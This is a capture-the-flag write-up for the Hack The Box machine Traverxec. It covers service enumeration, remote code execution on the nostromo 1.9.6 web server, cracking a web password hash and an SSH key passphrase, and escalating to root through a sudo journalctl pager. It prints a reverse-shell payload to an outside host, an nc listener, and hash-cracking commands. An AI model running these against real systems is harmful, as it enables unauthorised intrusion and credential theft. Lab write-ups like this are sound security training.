HTB Writeup - Traverxec
Enumeration
As usual, we start with an nmap scan to get a listing of open ports and running services using:
sudo nmap -sT -sV -sC -oN scan_full.log -p- -T5 -Pn -n -v $target
The result we get is pretty typical of a Linux web server; port 22 for remote administration via SSH and port 80 for hosting the web server.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
|_http-title: TRAVERXEC
| http-methods:
|_ Supported Methods: GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Before looking at the site, start up burpsuite to capture all requests as you interact with the site.
The web site looks like a static web app, wappalyzer wasn’t able to fingerprint the technology. Going to /index.html gives a 200 status code and is the page served by going to / as well. In burpsuite, the Server header from the initial GET request reveals that it is being served by nostromo 1.9.6, which is a supposedly secure web server.
In the background, I kicked off some directory busting using feroxbuster to see if there are any interesting goodies being served by the web server:
feroxbuster -u http://$target/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Exploiting nostromo 1.9.6
Given it’s a very specific version of the web server, it’s not hard to find PoC exploit code on GitHub. For example, https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE
We can execute a payload like this to get a reverse shell:
python3 CVE-2019-16278.py -t $target -p 80 -c "bash -c '/bin/bash -i >& /dev/tcp/10.10.14.54/4444 0>&1'"
b'HTTP/1.1 200 OK\r\nDate: Thu, 05 Sep 2024 00:07:12 GMT\r\nServer: nostromo 1.9.6\r\nConnection: close\r\n\r\n\r\n'
b''
And receive it using nc
rlwrap nc -lnvp 4444
We end up with a shell on the host as the www-data.
Escalation to david
Looking around on the host as the www-data user, we can see a user called david in the /home directory. We cannot read his files yet. However, as the www-data user we can navigate to /var/nostromo/conf and see a listing of interesting config files:
www-data@traverxec:/var/nostromo/conf# ls -la
total 20
drwxr-xr-x 2 root daemon 4096 Oct 27 2019 .
drwxr-xr-x 6 root root 4096 Oct 25 2019 ..
-rw-r--r-- 1 root bin 41 Oct 25 2019 .htpasswd
-rw-r--r-- 1 root bin 2928 Oct 25 2019 mimes
-rw-r--r-- 1 root bin 498 Oct 25 2019 nhttpd.conf
There is a hash for the david account in the .htpasswd file which we can take locally and crack with hashcat:
hashcat -O david_hash_htpasswd /usr/share/wordlists/rockyou.txt
However, this password does not let us log in as david via SSH. We still have more work to do. We now take a look at the nttpd.conf file:
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin [email protected]
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www
There’s this weird bit at the bottom about homedirs. After reading through the nostromo docs regarding homedirs, https://www.gsp.com/cgi-bin/man.cgi?section=8&topic=NHTTPD#HOMEDIRS it turns out there is a weird feature where it serves a directory out of the user’s home directories. I’m not sure why this is a feature. It seems like the risks would outweigh the benefits for a rather niche requirement; it would be far to easy to misconfigure something like this and expose sensitive data.
Regardless of my bias towards the feature, there is evidence of a directory in each user’s home folder called public_www. We can try a cd direct to the folder:
www-data@traverxec:/var/nostromo/conf# cd /home/david/public_www
www-data@traverxec:/home/david/public_www# ls -la
total 16
drwxr-xr-x 3 david david 4096 Oct 25 2019 .
drwx--x--x 5 david david 4096 Oct 25 2019 ..
-rw-r--r-- 1 david david 402 Oct 25 2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file-area
We can actually access this directory as the www-data user which allows us to now see the david users “public” files. Inside the protected folder, we can find a .tgz file which we can inflate and pull out an id_rsa which we can subsequently use to log in as the user:
www-data@traverxec:/tmp# cp /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz .
www-data@traverxec:/tmp# gunzip backup-ssh-identity-files.tgz
www-data@traverxec:/tmp# tar -xvf backup-ssh-identity-files.tar
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
Before being able to use the id_rsa, we must first crack the password for it. This is a two-part process. The first part is to use ssh2john to get the hash of the id_rsa password out into a crackable format:
ssh2john id_rsa > id_rsa_hash
Now we can crack it with hashcat using:
hashcat --username -O id_rsa_hash /usr/share/wordlists/rockyou.txt
I use the latest version of hashcat which can auto-detect the hash type so I don’t select the mode. If you’re running an older version, you’ll need to pass the -m switch with the correct mode, or try and cook your CPU using john.
Escalation to root
As the david user on the host, it is possible to look directly in the user’s home directory. There is immediately a bin directory that stands out because usually binaries are installed elsewhere on a Linux system.
Inside the directory, we find a script, server-stats.sh:
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
The first thing I noticed was the unqualified cat command at the start, but unless a cron job is running this script with elevated privileges, and we could write a new cat that could be executed, it’s not very helpful to us. The next thing to notice is that the user david can run journalctl as root. This has a sudo exploit for it listed in GTFOBins, https://gtfobins.github.io/gtfobins/journalctl/
We can abuse this just by running:
/usr/bin/sudo /usr/bin/journalctl
And once we are in a less like state with pagination, we can type !/bin/bash and we get a shell as root.